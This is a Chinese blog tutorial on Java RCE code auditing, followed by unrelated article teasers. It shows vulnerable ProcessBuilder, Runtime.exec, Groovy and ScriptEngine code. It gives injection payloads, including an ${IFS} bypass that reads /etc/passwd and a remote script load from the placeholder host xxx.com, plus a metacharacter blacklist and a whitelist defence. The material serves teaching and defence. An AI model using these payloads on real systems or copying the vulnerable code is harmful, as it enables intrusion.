【Java代码审计】RCE篇

news2024/12/29 8:17:26

【Java代码审计】RCE篇

  • 1.Java中的RCE
  • 2.ProcessBuilder命令执行漏洞
  • 3.Runtime exec命令执行漏洞
  • 4.脚本引擎代码注入
  • 5.RCE的防御

1.Java中的RCE

在PHP开发语言中有system()、exec()、shell_exec()、eval()、passthru()等函数可以执行系统命令。在Java开发语言中可以执行系统命令的函数有:

1、Runtime.getRuntime.execProcessBuilder.start,其中,Runtime.getRuntime.exec是在Java1.5之前提供的,Java1.5之后则提供了ProcessBuilder类来构建进程

2、更多的执行命令的方法,还有ProcessImplProcessImpl 是更为底层的实现,Runtime和ProcessBuilder执行命令实际上也是调用了ProcessImpl这个类

ProcessImpl 类是一个抽象类不能直接调用,但可以通过反射来间接调用ProcessImpl来达到执行命令的目的

public static String vul(String cmd) throws Exception {
    // 首先,使用 Class.forName 方法来获取 ProcessImpl 类的类对象
    Class clazz = Class.forName("java.lang.ProcessImpl");

    // 然后,使用 clazz.getDeclaredMethod 方法来获取 ProcessImpl 类的 start 方法
    Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);

    // 使用 method.setAccessible 方法将 start 方法设为可访问
    method.setAccessible(true);

    // 最后,使用 method.invoke 方法来调用 start 方法,并传入参数 cmd,执行命令
    Process process = (Process) method.invoke(null, new String[]{cmd}, null, null, null, false);
}

3、通过脚本引擎代码注入

通过加载远程js文件来执行代码,如果加载了恶意js则会造成任意命令执行

4、Groovy执行命令

不安全的使用Groovy调用命令

例如:

@GetMapping("/groovy")
public void groovy(String cmd) {
    GroovyShell shell = new GroovyShell();
    shell.evaluate(cmd);
}

2.ProcessBuilder命令执行漏洞

1、ProcessBuilder命令执行方法

Java.lang.ProcessBuilder类用于创建操作系统进程,每个ProcessBuilder实例管理一个进程属性集。start()方法利用这些属性创建一个新的Process实例,可以利用ProcessBuilder执行命令

// 构造一个命令
ProcessBuilder processBuilder = new ProcessBuilder("whoami");
// 启动进程
Process process = processBuilder.start();
// 读取进程的输出
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
    System.out.println(line);
}

2、ProcessBuilder命令执行漏洞利用

Java命令执行漏洞的前提是执行命令的参数可控,参数没有经过相关过滤

下面我们通过典型的Java代码讲解命令执行漏洞,示例程序包首先获取filepath参数传入的数据,然后利用ProcessBuilder进行dir命令的执行,最后将相关结果返回:

public static String processbuilderVul(String filepath) throws IOException {
    String[] cmdList = {"cmd.exe", "/c", "dir " + filepath};
    ProcessBuilder pb = new ProcessBuilder(cmdList);
    pb.redirectErrorStream(true);
    Process process = pb.start();

    // 获取命令的输出
    InputStream inputStream = process.getInputStream();
    BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
    String line;
    StringBuilder output = new StringBuilder();
    while ((line = reader.readLine()) != null) {
        output.append(line).append("\n");
    }
    return output.toString();
}

输入..,获取到了上层的目录信息:

http://127.0.0.1:8888/RCE/ProcessBuilder/vul?filepath=..

在这里插入图片描述

因为通过获取filepath参数传入的数据没有经过过滤就传入ProcessBuilder进行执行,故攻击者通过命令连接符就有可能拼接执行额外的命令。例如在Windows系统中使用命令连接符“&”进行多条命令拼接以便执行echo 123456命令,输入“filepath=..%26echo 123456(这里注意&要进行url编码)

RCE成功:

在这里插入图片描述


3.Runtime exec命令执行漏洞

1、java.lang.Runtime公共类中的exec()方法同样也可以执行系统命令,exec()方法的使用方式有以下6种:

在这里插入图片描述

2、Runtime exec命令执行漏洞利用(参数可控)

当利用exec()进行命令执行时,如果参数没有经过过滤就可能通过命令拼接符进行命令拼接执行多条命令

在这里插入图片描述

通过ip参数传入command数组变量中,然后执行ping命令,当输入“ip=127.0.0.1”时,返回“ping 127.0.0.1”后的数据信息

在这里插入图片描述

因为ip参数没有经过过滤就直接拼接到了command变量中,这样就造成了命令执行漏洞,输入“ip=127.0.0.1;id”,这样就可以执行ping 127.0.0.1和id两条命令

在这里插入图片描述

3、Runtime exec命令执行漏洞利用(命令本身可控)

典型示例代码如下:

在这里插入图片描述

输入“cmd=ls”,返回了执行ls命令后的数据信息

在这里插入图片描述

当输入“cmd=ls;cat/etc/passwd”后,返回“java.io.IOException”这个错误信息。这是因为Java通过“Runtime.getRuntime().exec”执行命令并不是启动一个新的shell,所以就会有报错信息,需要重新启动一个shell才能正常执行此命令

启动一个新的shell执行多个命令,输入“cmd=sh -c ls;id”,发现命令执行成功,返回了ls和id命令的信息:

在这里插入图片描述

我们进一步尝试,输入“cmd=sh -c ls;cat /etc/passwd”,发现浏览器一直在请求的状态,无法正常执行此命令

在这里插入图片描述

命令不能正常执行的原因是,如果exec方法执行的参数是字符串参数,参数中的空格会经过StringTokenizer处理,处理完成后会改变原有的语义导致命令无法正常执行。要想执行此命令要绕过StringTokenizer才可以,只要找到可以代替空格的字符即可,如${IFS}、$IFS$9

输入“cmd=sh -c ls;cat${IFS}/etc/passwd”后会有以下报错:

在这里插入图片描述

也就是说,我们的请求中包含无效的字符,需要对{}进行url编码,输入“cmd=sh%20-c%20ls;cat$%7BIFS%7D/etc/passwd”,发现可以正常执行ls和cat/etc/passwd两个命令:

在这里插入图片描述


4.脚本引擎代码注入

漏洞代码:

public void jsEngine(String url) throws Exception {
    ScriptEngine engine = new ScriptEngineManager().getEngineByName("JavaScript");
    Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE);
    String payload = String.format("load('%s')", url);
    // 在Java 8之后移除了ScriptEngineManager的eval
    engine.eval(payload, bindings);
}

利用时,加载一个远程的恶意js脚本,例如,构造如下payload:

http://127.0.0.1:8888/RCE/ScriptEngine/vul?url=http://xxx.com/java/1.js

1.js内容如下:

var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("open -a Calculator");}

5.RCE的防御

RCE的防御基本的有两种方案,一种是基于黑名单的过滤方法(自定义黑名单,这里过滤了常见的管道符,可自行添加):

public static boolean checkOs(String content) {
    String[] black_list = {"|", ",", "&", "&&", ";", "||"};
    for (String s : black_list) {
        if (content.contains(s)) {
            return true;
        }
    }
    return false;
}

此时,再输入恶意的payload:

http://127.0.0.1:8888/RCE/ProcessBuilder/safe?filepath=..%26whoami

请求已经被成功拦截:

在这里插入图片描述

一种是基于白名单的方式,这种方式更加有效,且更加难以绕过:(使用白名单替换黑名单。黑名单需要不断更新,而白名单只需要指定允许执行的命令,更容易维护)

public static String safe(String cmd) {
    // 定义命令白名单
    Set<String> commands = new HashSet<\>();
    commands.add("ls");
    commands.add("pwd");

    // 检查用户提供的命令是否在白名单中
    String command = cmd.split("\\s+")[0];
    if (!commands.contains(command)) {
        return "命令不在白名单中";
    }
    ...
}

此时,用户只能执行ls和pwd命令,其余命令都会被拦截

防御RCE的漏洞,还有一个能够根除的有效方法,那就是在编码时,开发人员应将现有API用于其语言。例如:不要使用Runtime.exec()发出“mail”命令,而要使用位于javax.mail的可用Java API

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1327703.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

如何从 Android 手机免费恢复已删除的通话记录/历史记录?

有一个有合作意向的人给我打电话&#xff0c;但我没有接听。更糟糕的是&#xff0c;我错误地将其删除&#xff0c;认为这是一个骚扰电话。那么有没有办法从 Android 手机恢复已删除的通话记录呢&#xff1f;” 塞缪尔问道。如何在 Android 上恢复已删除的通话记录&#xff1f;如…

STM32CubeMX驱动ST7789

环境 1、单片机:STM32F103C8T6 2、开发平台&#xff1a;STM32CUBEMXkeil mdk 3、屏幕&#xff1a;ST7789&#xff0c;分辨率240*240 STM32配置 1、使用硬件SPI1驱动屏幕。配置如下&#xff1a; 2、屏幕控制引脚配置&#xff1a; 注意&#xff1a;只配置了DC,RST,CS这3个控…

BearPi Std 板从入门到放弃 - 后天篇(3)(ESP8266透传点灯)

简介 电脑搭建一个TCP Server&#xff0c; ESP8266 串口设置好透传模式, 再由TCP Server发送指令控制灯的亮灭; 开灯指令&#xff1a; led_on回车 &#xff1b; 关灯指令: led_off回车 主芯片: STM32L431RCT6 LED : PC13 \ 推挽输出即可 \ 高电平点亮 串口: Usart1 / LPUART E…

html之如何设置音频和视频

文章目录 前言一、音频标签&#xff1a;audio1.audio简介2.常用属性controlsautoplayloop代码演示&#xff1a; 二、视频标签&#xff1a;video1.video2.常用的视频元素controlsautoplayloop代码演示&#xff1a; 总结视频元素总结音频元素总结 前言 html中插入音频和视频的方…

网络通信--深入理解网络和TCP / IP协议

计算机网络体系结构 TCP/IP协议族 TCP / IP 网络传输中的数据术语 网络通信中的地址和端口 window端查看IP地址和MAC地址&#xff1a;ipconfig -all MAC层地址是在数据链路层的&#xff1b;IP工作在网络层的 MAC是48个字节&#xff0c;IP是32个字节 在子网&#xff08;局域…

4 postman响应数据解析

上一篇:3 使用postman批量创建测试数据-CSDN博客 在接口测试中,从接口的响应结果中获取数据是很常用的。比如说做断言的时候,需要确保接口返回数据是符合预期的。又比如有些接口的输入参数值,需要用到前面接口运行返回的数据。下面先介绍如何解析响应数据(以json数…

轻量封装WebGPU渲染系统示例<54>- 拱形门

当前示例源码github地址: https://github.com/vilyLei/voxwebgpu/blob/feature/material/src/voxgpu/sample/GLBMaterialTest.ts 当前示例运行效果:

vue中最重要的点,双向数据绑定是什么?

一、什么是双向绑定 我们先从单向绑定切入单向绑定非常简单&#xff0c;就是把Model绑定到View&#xff0c;当我们用JavaScript代码更新Model时&#xff0c;View就会自动更新双向绑定就很容易联想到了&#xff0c;在单向绑定的基础上&#xff0c;用户更新了View&#xff0c;Mo…

Eigen库之Quaterniond

Eigen::Quaterniond 是 Eigen C 库中用于表示四元数的类&#xff0c;四元数在计算机图形学、机器人学等领域中广泛用于表示旋转操作。 四元数是一种数学结构&#xff0c;通常用于表示和计算三维空间中的旋转。一个四元数由一个实部和三个虚部组成&#xff0c;可以写成如下形式&…

mysql主从复制(在虚拟机centos的docker下)

1.安装docker Docker安装(CentOS)简单使用-CSDN博客 2.部署2个mysql docker run --name some-mysql1 -p 33061:3306 -e MYSQL_ROOT_PASSWORD123456 -d mysql:5.7 --character-set-serverutf8mb4 --collation-serverutf8mb4_unicode_cidocker run --name some-mysql2 -p 330…

Android 13 - Media框架(23)- ACodecBufferChannel

这一节我们将了解 ACodecBufferChannel 上一节我们了解到input buffer 和 output buffer 是如何分配的了&#xff0c;allocateBuffersOnPort 方法的最后会将ACodec::BufferInfo 中的 mData 成员组织成为数组&#xff0c;最后提交给 ACodecBufferChannel 管理。这一节我们将尝试…

MySQL数据库基本操作语言:SQL

SQL 概述 SQL是一 种用于操作数据库的语言&#xff0c;SQL适用于所有关系型数据库。 MySQL、Oracle、 SQLServer是一 一个数据库软件,这些数据库软件支持标准SQL,也就是通过SQL可以使用这些软件,不过每一个数据库系统会在标准SQL的基础 上扩展自己的SQL语法。 大部分的NoSQ…

Flink电商实时数仓(三)

DIM层代码流程图 维度层的重点和难点在于实时电商数仓需要的维度信息一般是动态的变化的&#xff0c;并且由于实时数仓一般需要一直运行&#xff0c;无法使用常规的配置文件重启加载方式来修改需要读取的ODS层数据&#xff0c;因此需要通过Flink-cdc实时监控MySql中的维度数据…

GraphPad Prism 10 for Mac v10.0.0.3 安装教程

GraphPad Prism GraphPad Prism是一款非常专业强大的科研医学生物数据处理绘图软件&#xff0c;它可以将科学图形、综合曲线拟合&#xff08;非线性回归&#xff09;、可理解的统计数据、数据组织结合在一起&#xff0c;除了最基本的数据统计分析外&#xff0c;还能自动生成统…

ansible(二)

模块七&#xff1a; hostname模块&#xff0c;修改主机名 模块八&#xff1a; copy模块&#xff1a;用于复制指定主机的文件到远程主机的模块&#xff08;必须要用绝对路径&#xff09; 常用的参数&#xff1a; Dest:指出要复制的文件在哪&#xff08;去哪&#xff09;&am…

C语言—每日选择题—Day59

指针相关博客 打响指针的第一枪&#xff1a;指针家族-CSDN博客 深入理解&#xff1a;指针变量的解引用 与 加法运算-CSDN博客 第一题 1. 以下关于 typedef 正确的描述是&#xff08;&#xff09;【多选】 A&#xff1a;用typedef可以定义各种类型别名&#xff0c;但不能定义变量…

CSS:元素显示模式与背景

CSS&#xff1a;元素显示模式与背景 元素显示模式什么是元素显示模式块级元素 block行内元素 inline行内块元素 inline-block元素显示模式对比元素显示模式转换 display 背景背景颜色 background-color背景图片 background-image背景平铺 background-repeat背景图片位置 backgr…

使用Swift Package Manager (SPM)实现xcframework分发

Swift Package Manager (SPM) 是苹果官方提供的用于管理 Swift 项目的依赖关系和构建过程的工具。它是一个集成在 Swift 编程语言中的包管理器&#xff0c;用于解决在开发过程中管理和构建包依赖项的需求。 Package结构 一个 Package&#xff08;包&#xff09;由 Swift 源码…

CSS 网页制作-学成在线

1、 准备工作 1.1 项目目录 网站根目录是指存放网站的第一层文件夹&#xff0c;内部包含当前网站的所有素材&#xff0c;包含HTML、CSS、图片、JavaScript等等。 1.2 版心效果 可以发现都是呈现版心居中的效果&#xff0c;但是每次都写一次太麻烦了&#xff0c;可以把版心居中…

Android应用-flutter使用Positioned将控件定位到底部中间

文章目录 场景描述示例解释 场景描述 要将Positioned定位到屏幕底部中间的位置&#xff0c;你可以使用MediaQuery来获取屏幕的高度&#xff0c;然后设置Positioned的bottom属性和left或right属性&#xff0c;一般我们left和right都会设置一个值让控制置于合适的位置&#xff0…